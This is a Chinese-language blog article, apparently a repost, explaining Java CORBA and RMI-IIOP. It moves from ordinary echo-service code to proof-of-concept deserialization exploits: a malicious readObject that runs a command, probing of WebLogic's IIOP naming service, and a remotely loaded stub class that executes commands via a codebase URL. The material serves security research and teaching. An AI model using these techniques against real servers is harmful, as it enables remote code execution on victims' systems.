溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何理解Java 中的RMI-IIOP

發(fā)布時間:2021-11-20 15:18:01 來源:億速云 閱讀:159 作者:柒染 欄目:軟件技術(shù)

本篇文章為大家展示了如何理解Java 中的RMI-IIOP,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

環(huán)境說明

  • 文中的測試代碼放到了 github上

  • 測試代碼的JDK版本在文中會具體說明,有的代碼會被重復(fù)使用,對應(yīng)的JDK版本需要自己切換

RMI-IIOP

在閱讀下面內(nèi)容之前,可以先閱讀下以下幾個鏈接的內(nèi)容,包含了一些基本的概念留個印象:  https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html[3]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html[4]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738[5]

Java IDL是一種用于分布式對象的技術(shù),即對象在網(wǎng)絡(luò)上的不同平臺上進行交互。Java IDL使對象能夠進行交互,而不管它們是以Java編程語言還是C,C ++,COBOL或其他語言編寫的。這是可能的,因為Java IDL基于通用對象請求代理體系結(jié)構(gòu)(CORBA),即行業(yè)標準的分布式對象模型。CORBA的主要功能是IDL,一種與語言無關(guān)的接口定義語言。每種支持CORBA的語言都有自己的IDL映射-顧名思義,Java IDL支持Java映射。為了支持單獨程序中對象之間的交互,Java IDL提供了一個對象請求代理或ORB(Object Request Broker)。ORB是一個類庫,可在Java IDL應(yīng)用程序與其他符合CORBA的應(yīng)用程序之間進行低層級的通信。

CORBA,Common ObjectRequest Broker Architecture(公共對象請求代理體系結(jié)構(gòu)),是由OMG組織制訂的一種標準的面向?qū)ο髴?yīng)用程序體系規(guī)范。CORBA使用接口定義語言(IDL),用于指定對象提供給外部的接口。然后,CORBA指定從IDL到特定實現(xiàn)語言(如Java)的映射。CORBA規(guī)范規(guī)定應(yīng)有一個對象請求代理(ORB),通過該對象應(yīng)用程序與其他對象進行交互。通用InterORB協(xié)議(GIOP)摘要協(xié)議的創(chuàng)建是為了允許ORB間的通信,并提供了幾種具體的協(xié)議,包括Internet InterORB協(xié)議(IIOP),它是GIOP的實現(xiàn),可用于Internet,并提供GIOP消息和TCP/IP層之間的映射。

IIOP,Internet Inter-ORB Protocol(互聯(lián)網(wǎng)內(nèi)部對象請求代理協(xié)議),它是一個用于CORBA 2.0及兼容平臺上的協(xié)議;用來在CORBA對象請求代理之間交流的協(xié)議。Java中使得程序可以和其他語言的CORBA實現(xiàn)互操作性的協(xié)議。

RMI-IIOP出現(xiàn)以前,只有RMI和CORBA兩種選擇來進行分布式程序設(shè)計,二者之間不能協(xié)作。RMI-IIOP綜合了RMI 和CORBA的優(yōu)點,克服了他們的缺點,使得程序員能更方便的編寫分布式程序設(shè)計,實現(xiàn)分布式計算。RMI-IIOP綜合了RMI的簡單性和CORBA的多語言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺點和CORBA的復(fù)雜性(可以不用掌握IDL)。

CORBA-IIOP遠程調(diào)用

在CORBA客戶端和服務(wù)器之間進行遠程調(diào)用模型如下:

如何理解Java 中的RMI-IIOP

在客戶端,應(yīng)用程序包含遠程對象的引用,對象引用具有存根方法,存根方法是遠程調(diào)用該方法的替身。存根實際上是連接到ORB的,因此調(diào)用它會調(diào)用ORB的連接功能,該功能會將調(diào)用轉(zhuǎn)發(fā)到服務(wù)器。

在服務(wù)器端,ORB使用框架代碼將遠程調(diào)用轉(zhuǎn)換為對本地對象的方法調(diào)用??蚣軐⒄{(diào)用和任何參數(shù)轉(zhuǎn)換為其特定于實現(xiàn)的格式,并調(diào)用客戶端想要調(diào)用的方法。方法返回時,框架代碼將轉(zhuǎn)換結(jié)果或錯誤,然后通過ORB將其發(fā)送回客戶端。

在ORB之間,通信通過共享協(xié)議IIOP進行。基于標準TCP/IP Internet協(xié)議的IIOP定義了兼容CORBA的ORB如何來回傳遞信息。

編寫一個Java CORBA IIOP遠程調(diào)用步驟:

  1. 使用idl定義遠程接口

  2. 使用idlj編譯idl,將idl映射為Java,它將生成接口的Java版本類以及存根和骨架的類代碼文件,這些文件使應(yīng)用程序可以掛接到ORB。在遠程調(diào)用的客戶端與服務(wù)端編寫代碼中會使用到這些類文件。

  3. 編寫服務(wù)端代碼

  4. 編寫客戶端代碼

  5. 依次啟動命名服務(wù)->服務(wù)端->客戶端

好了,用代碼感受下( github找到一份現(xiàn)成的代碼可以直接用,不過做了一些修改):

1、2步驟作者已經(jīng)幫我們生成好了,生成的代碼在 EchoApp目錄

服務(wù)端:

//服務(wù)端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper;public class Server {
    public static void main(String[] args) {
        if (args.length == 0) {
            args = new String[4];
            args[0] = "-ORBInitialPort";
            args[1] = "1050";
            args[2] = "-ORBInitialHost";
            args[3] = "localhost";
        }
        try {
            //創(chuàng)建并初始化ORB            ORB orb = ORB.init(args, null);
            //獲取根POA的引用并激活POAManager            POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
            rootpoa.the_POAManager().activate();
            //創(chuàng)建servant            EchoImpl echoImpl = new EchoImpl();
            //獲取與servant關(guān)聯(lián)的對象引用            org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl);
            Echo echoRef = EchoHelper.narrow(ref);
            //為所有CORBA ORB定義字符串"NameService"。當傳遞該字符串時,ORB返回一個命名上下文對象,該對象是名稱服務(wù)的對象引用            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
            NameComponent path[] = ncRef.to_name("ECHO-SERVER");
            ncRef.rebind(path, echoRef);
            System.out.println("Server ready and waiting...");
            //等待客戶端調(diào)用            orb.run();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}

客戶端:

//客戶端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client {
    public static void main(String[] args) {
        if (args.length == 0) {
            args = new String[4];
            args[0] = "-ORBInitialPort";
            args[1] = "1050";
            args[2] = "-ORBInitialHost";
            args[3] = "localhost";
        }
        try {
            //創(chuàng)建并初始化ORB            ORB orb = ORB.init(args, null);
            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
            Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER"));
            String hello = href.echoString();
            System.out.println(hello);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}//使用Jndi查詢客戶端package com.longofo.corba.example;import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient {
    /**
     * 列出所有遠程對象名
     */
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
        //列出所有遠程對象名        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
        System.out.println("-----------call remote method--------------");
        Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER"));
        System.out.println(echoRef.echoString());
    }
    private static Map listAllEntries(Context initialContext) throws NamingException {
        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
        HashMap<String, Object> map = new HashMap<String, Object>();
        System.out.println("> Listing namespace: " + namespace);
        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
        while (list.hasMoreElements()) {
            NameClassPair next = list.next();
            String name = next.getName();
            String jndiPath = namespace + name;
            HashMap<String, Object> lookup = new HashMap<String, Object>();
            try {
                System.out.println("> Looking up name: " + jndiPath);
                Object tmp = initialContext.lookup(jndiPath);
                if (tmp instanceof Context) {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                    Map<String, Object> entries = listAllEntries((Context) tmp);
                    for (Map.Entry<String, Object> entry : entries.entrySet()) {
                        String key = entry.getKey();
                        if (key != null) {
                            lookup.put(key, entries.get(key));
                            break;
                        }
                    }
                } else {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                }
            } catch (Throwable t) {
                lookup.put("error msg", t.toString());
                Object tmp = initialContext.lookup(jndiPath);
                lookup.put("class", tmp.getClass());
                lookup.put("interfaces", tmp.getClass().getInterfaces());
            }
            map.put(name, lookup);
        }
        return map;
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

客戶端使用了兩種方式,一種是COSNaming查詢,另一種是Jndi查詢,兩種方式都可以,在jdk1.8.0_181測試通過。

首先啟動一個命名服務(wù)器(可以理解為rmi的registry),使用ordb啟動如下,orbd默認自帶(如果你有jdk環(huán)境的話):

如何理解Java 中的RMI-IIOP

然后啟動服務(wù)端corba-iiop/src/main/java/com/longofo/example/Server.java,在啟動corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。

這里看下JndiClient的結(jié)果:

> Listing namespace: > Looking up name: ECHO-SERVER{
    "ECHO-SERVER":{
        "interfaces":[],
        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
    }}-----------call remote method--------------Hello World!!!

注意到那個class不是沒有獲取到原本的EchoImpl類對應(yīng)的Stub class,而我們之前rmi測試也用過這個list查詢,那時候是能查詢到遠程對象對應(yīng)的stub類名的。這可能是因為Corba的實現(xiàn)機制的原因,com.sun.corba.se.impl.corba.CORBAObjectImpl是一個通用的Corba對象類,而上面的narrow調(diào)用EchoHelper.narrow就是一種將對象變窄的方式轉(zhuǎn)換為Echo Stub對象,然后才能調(diào)用echoString方法,并且每一個遠程對象的調(diào)用都要使用它對應(yīng)的xxxHelper。

下面是Corba客戶端與服務(wù)端通信包:

如何理解Java 中的RMI-IIOP

第1、2個包是客戶端與ordb通信的包,后面就是客戶端與服務(wù)端通信的包??梢钥吹降诙€數(shù)據(jù)包的IOR(Interoperable Object Reference)中包含著服務(wù)端的ip、port等信息,意思就是客戶端先從ordb獲取服務(wù)端的信息,然后接著與服務(wù)端通信。同時這些數(shù)據(jù)中也沒有平常所說的ac ed 00 05 標志,但是其實反序列化的數(shù)據(jù)被包裝了,在后面的RMI-IIOP中有一個例子會進行說明。

IOR幾個關(guān)鍵字段:

  • Type ID:接口類型,也稱為存儲庫ID格式。本質(zhì)上,存儲庫ID是接口的唯一標識符。例如上面的IDL:omg.org/CosNaming/NamingContext:1.0

  • IIOP version:描述由ORB實現(xiàn)的IIOP版本

  • Host:標識ORB主機的TCP/IP地址

  • Port:指定ORB在其中偵聽客戶端請求的TCP/IP端口號

  • Object Key:唯一地標識了被ORB導(dǎo)出的servant

  • Components:包含適用于對象方法的附加信息的序列,例如支持的ORB服務(wù)和專有協(xié)議支持等

  • Codebase:用于獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在服務(wù)器中解碼IOR引用的類,在后面利用中我們能夠看到。

只使用Corba進行遠程調(diào)用很麻煩,要編寫IDL文件,然后手動生成對應(yīng)的類文件,同時還有一些其他限制,然后就有了RMI-IIOP,結(jié)合了Corba、RMI的優(yōu)點。

RMI-IIOP遠程調(diào)用

編寫一個RMI IIOP遠程調(diào)用步驟:

  1. 定義遠程接口類

  2. 編寫實現(xiàn)類

  3. 編寫服務(wù)端

  4. 編寫客戶端

  5. 編譯代碼并為服務(wù)端與客戶端生成對應(yīng)的使用類

下面直接給出一種惡意利用的demo場景。

服務(wù)端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            //實例化Hello servant            HelloImpl helloRef = new HelloImpl();
            //使用JNDI在命名服務(wù)中發(fā)布引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);
            System.out.println("Hello Server Ready...");
            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

客戶端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            //從命名服務(wù)獲取引用            Object objRef = initialContext.lookup("HelloService");
            //narrow引用為具體的對象            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
            EvilMessage message = new EvilMessage();
            message.setMsg("Client call method sayHello...");
            hello.sayHello(message);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

假設(shè)在服務(wù)端中存在EvilMessage這個能進行惡意利用的類,在客戶端中編寫同樣包名類名相同的類,并繼承HelloInterface.sayHello(Message msg)方法中Message類:

package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message {
    private void readObject(ObjectInputStream s) {
        try {
            s.defaultReadObject();
            Runtime.getRuntime().exec("calc");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }}

先編譯好上面的代碼,然后生成服務(wù)端與客戶端進行遠程調(diào)用的代理類:

rmic -iiop com.longofo.example.HelloImpl

執(zhí)行完成后,在下面生成了兩個類(Tie用于服務(wù)端,Stub用于客戶端):

如何理解Java 中的RMI-IIOP

啟動一個命名服務(wù)器:

orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost

啟動服務(wù)端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再啟動客戶端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到計算器彈出,在JDK 1.8.1_181測試通過。

服務(wù)端調(diào)用棧如下:

如何理解Java 中的RMI-IIOP

注意那個_HelloImpl_Tie.read_value,這是在19年BlackHat議題 "An-Far-Sides-Of-Java-Remote-Protocols"[1]提到的,如果直接看那個pdf中關(guān)于RMI-IIOP的內(nèi)容,可能會一臉懵逼,因為議題中沒有上面這些前置信息,有了上面這些信息,再去看那個議題的內(nèi)容可能會輕松些。通過調(diào)用棧我們也能看到,IIOP通信中的某些數(shù)據(jù)被還原成了CDRInputStream,這是InputStream的子類,而被包裝的數(shù)據(jù)在下面Stub data這里:

如何理解Java 中的RMI-IIOP

最后通過反射調(diào)用到了EvilMessage的readObject,看到這里其實就清楚一些了。不過事實可能會有些殘酷,不然為什么關(guān)于RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP來感受下。

Weblogic中的RMI-IIOP

Weblogic默認是開啟了iiop協(xié)議的,如果是上面這樣的話,看通信數(shù)據(jù)以及上面的調(diào)用過程極大可能是不會經(jīng)過Weblogic的黑名單了。

直接用代碼測試吧(利用的Weblogic自帶的JDK 1.6.0_29測試):

import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {
        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001");
        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
        Object objRef = initialContext.lookup("ejb/mgmt/MEJB");
        ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class);
        managementHome.remove(new Object());//這里只是測試能否成功調(diào)用到remove方法,如果能成功調(diào)用,Object按照上面RMI-IIOP那種方式惡意利用    }
    private static Map listAllEntries(Context initialContext) throws NamingException {
        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
        HashMap<String, Object> map = new HashMap<String, Object>();
        System.out.println("> Listing namespace: " + namespace);
        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
        while (list.hasMoreElements()) {
            NameClassPair next = list.next();
            String name = next.getName();
            String jndiPath = namespace + name;
            HashMap<String, Object> lookup = new HashMap<String, Object>();
            try {
                System.out.println("> Looking up name: " + jndiPath);
                Object tmp = initialContext.lookup(jndiPath);
                if (tmp instanceof Context) {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                    Map<String, Object> entries = listAllEntries((Context) tmp);
                    for (Map.Entry<String, Object> entry : entries.entrySet()) {
                        String key = entry.getKey();
                        if (key != null) {
                            lookup.put(key, entries.get(key));
                            break;
                        }
                    }
                } else {
                    lookup.put("class", tmp.getClass());
                    lookup.put("interfaces", tmp.getClass().getInterfaces());
                }
            } catch (Throwable t) {
                lookup.put("error msg", t.toString());
                Object tmp = initialContext.lookup(jndiPath);
                lookup.put("class", tmp.getClass());
                lookup.put("interfaces", tmp.getClass().getInterfaces());
            }
            map.put(name, lookup);
        }
        return map;
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

list查詢結(jié)果如下:

> Listing namespace: > Looking up name: weblogic
> Listing namespace: > Looking up name: ejb
> Listing namespace: > Looking up name: mgmt
> Listing namespace: > Looking up name: MEJB
> Looking up name: javax
> Listing namespace: > Looking up name: mejbmejb_jarMejb_EO{
    "ejb":{
        "mgmt":{
            "MEJB":{
                "interfaces":[],
                "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
            },
            "interfaces":["javax.naming.Context"],
            "class":"com.sun.jndi.cosnaming.CNCtx"
        },
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    },
    "javax":{
        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    },
    "mejbmejb_jarMejb_EO":{
        "interfaces":[],
        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
    },
    "weblogic":{
        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",
        "interfaces":["javax.naming.Context"],
        "class":"com.sun.jndi.cosnaming.CNCtx"
    }}

這些遠程對象的名稱和通過默認的rmi://協(xié)議查詢的結(jié)果是一樣的,只是class和interfaces不同。

但是到managementHome.remove就報錯了,managementHome為null。在上面RMI-IIOP的測試中,客戶端要調(diào)用遠程需要用到客戶端的Stub類,去查找了下ejb/mgmt/MEJB對應(yīng)的實現(xiàn)類weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl,他有一個Stub類為weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub,但是這個Stub類是為默認的RMI JRMP方式生成的,并沒有為IIOP調(diào)用生成客戶端與服務(wù)端類,只是綁定了一個名稱。

通過一些查找,每一個IIOP遠程對象對應(yīng)的Tie類和Stub類都會有一個特征:

如何理解Java 中的RMI-IIOP

根據(jù)這個特征,在Weblogic中確實有很多這種已經(jīng)為IIOP調(diào)用生成的客戶端Stub類,例如_MBeanHomeImpl_Stub類,是MBeanHomeImpl客戶端的Stub類:

如何理解Java 中的RMI-IIOP

一個很尷尬的事情就是,Weblogic默認綁定了遠程名稱的實現(xiàn)類沒有為IIOP實現(xiàn)服務(wù)端類與客戶端類,但是沒有綁定的一些類卻實現(xiàn)了,所以默認無法利用了。

剛才調(diào)用失敗了,來看下沒有成功調(diào)用的通信:

如何理解Java 中的RMI-IIOP

在COSNaming查詢包之后,服務(wù)端返回了type_ip為RMI:javax.management.j2ee.ManagementHome:0000000000000000的標志,

然后下一個包又繼續(xù)了一個_is_a查詢:

如何理解Java 中的RMI-IIOP

下一個包就返回了type_id not match:

如何理解Java 中的RMI-IIOP

可以猜測的是服務(wù)端沒有生成IIOP對應(yīng)的服務(wù)端與客戶端類,然后命名服務(wù)器中找不到關(guān)于的RMI:javax.management.j2ee.ManagementHome:0000000000000000標記,通過查找也確實沒有找到對應(yīng)的類。

不過上面這種利用方式只是在代碼層調(diào)用遵守了Corba IIOP的一些規(guī)范,規(guī)規(guī)矩矩的調(diào)用,在協(xié)議層能不能通過替換、修改等操作進行構(gòu)造與利用,能力有限,未深入研究IIOP通信過程。

在今年的那個議題RMI-IIOP部分,給出了Websphere一個攔截器類TxServerInterceptor中使用到read_any方法的情況,從這個名字中可以看出是一個攔截器,所以基本上所有請求都會經(jīng)過這里。這里最終也調(diào)用到read_value,就像上面的_HelloImpl_Tie.read_value一樣,這里也能進行可以利用,只要目標服務(wù)器存在可利用的鏈,作者也給出了一些Websphere中的利用鏈??梢钥吹?,不只是在遠程調(diào)用中會存在惡意利用的地方,在其他地方也可能以另一種方式存在,不過在方法調(diào)用鏈中核心的幾個地方依然沒有變,CDRInputStreamread_value,可能手動去找這些特征很累甚至可能根本找不到,那么龐大的代碼量,不過要是有所有的方法調(diào)用鏈,例如GatgetInspector那種工具,之前 初步分析過這個工具。這是后面的打算了,目標是自由的編寫自己的控制邏輯。

JNDI中的利用

在JNDI利用中有多種的利用方式,而RMI-IIOP只是默認RMI利用方式(通過JRMP傳輸)的替代品,在RMI默認利用方式無法利用時,可以考慮用這種方式。但是這種方式依然會受到SecurityManager的限制。

在RMI-IIOP測試代碼中,我把client與server放在了一起,客戶端與服務(wù)端使用的Tie與Stub也放在了一起,可能會感到迷惑。那下面我們就單獨把Client拿出來進行測試以及看下遠程加載。

服務(wù)端代碼還是使用RMI-IIOP中的Server,但是加了一個codebase:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
            //實例化Hello servant            HelloImpl helloRef = new HelloImpl();
            //使用JNDI在命名服務(wù)中發(fā)布引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            initialContext.rebind("HelloService", helloRef);
            System.out.println("Hello Server Ready...");
            Thread.currentThread().join();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

Client代碼在新建的 rmi-iiop-test-client模塊,這樣模塊之間不會受到影響,Client代碼如下:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient {
    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
    public static void main(String[] args) {
        try {
            System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile());
            RMISecurityManager securityManager = new RMISecurityManager();
            System.setSecurityManager(securityManager);
            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
            //從命名服務(wù)獲取引用            initialContext.lookup("HelloService");
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
    private static InitialContext getInitialContext(String url) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }}

然后我在remote-class模塊增加了一個com.longofo.example._HelloInterface_Stub

package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _HelloInterface_Stub {
    static {
        //這里由于在static代碼塊中,無法直接拋異常外帶數(shù)據(jù),不過有其他方式外帶數(shù)據(jù),可以自己查找下。沒寫在構(gòu)造函數(shù)中是因為項目中有些利用方式不會調(diào)用構(gòu)造參數(shù),所以為了方標直接寫在static代碼塊中        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }}

啟動遠程類服務(wù)remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再啟動rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然后運行客戶端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可彈出計算器。在JDK 1.8.0_181測試通過。

至于為什么進行了遠程調(diào)用,在CDRInputStream_1_0.read_object下個斷點,然后跟蹤就會明白了,最后還是利用了rmi的遠程加載功能:

如何理解Java 中的RMI-IIOP

遺憾就是沒有成功在Weblogic中利用到RMI-IIOP,在這里寫出來提供一些思路,如果大家有關(guān)于RMI-IIOP的其他發(fā)現(xiàn)與想法也記得分享下。不知道大家有沒有關(guān)于RMI-IIOP比較好的真實案例。

上述內(nèi)容就是如何理解Java 中的RMI-IIOP,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI